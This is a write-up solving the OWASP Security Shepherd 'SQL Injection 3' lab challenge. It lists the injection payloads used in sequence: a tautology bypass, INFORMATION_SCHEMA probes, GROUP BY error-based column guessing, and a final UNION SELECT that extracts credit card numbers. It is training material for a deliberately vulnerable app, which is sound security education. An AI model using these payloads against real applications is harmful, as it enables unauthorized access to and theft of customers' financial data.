OWASP Security Shepherd Project - SQL Injection 3 (Injection Challenge)

Challenge

Solution

    First step, let's try to input Mary Martin.

    Then, let's try 1'or'1'='1.

    Well, maybe that's because 1 isn't a valid character for Name? Let's try a'or'a'='a.

    Not bad, we get the user list. However, our purpose is to get credit card number.
We must try to UNION SELECT the credit card number field!

    The first thing comes to my mind is how can I get the table name and column names of this application database.
    Try ' UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE '1'='1 =>

    Try ' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='customer =>

    Now, we are sure that the application doesn't have the privilege to access information_schema...
Try to use GROUP BY to guess column name.
Input ' group by name having '1'='1  => An error was detected!
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Unknown column 'name' in 'group statement'
    We know that name is not correct column name.
Try Mary Martin' group by customername having '1'='1 => customername is correct.
Try Mary Martin' group by creditcardnumber having '1'='1 => creditcardnumber is correct.
Try Mary Martin' UNION SELECT creditcardnumber FROM customers WHERE customername = 'Mary Martin by guessing the table name is customers.

Finally, we have it.

Reference

SQL injection - Getting the table name , column name and database name from the database:

https://www.youtube.com/watch?v=OgGnihqEhjk
w3schools.com - SQL UNION Operator:
https://www.w3schools.com/sql/sql_union.asp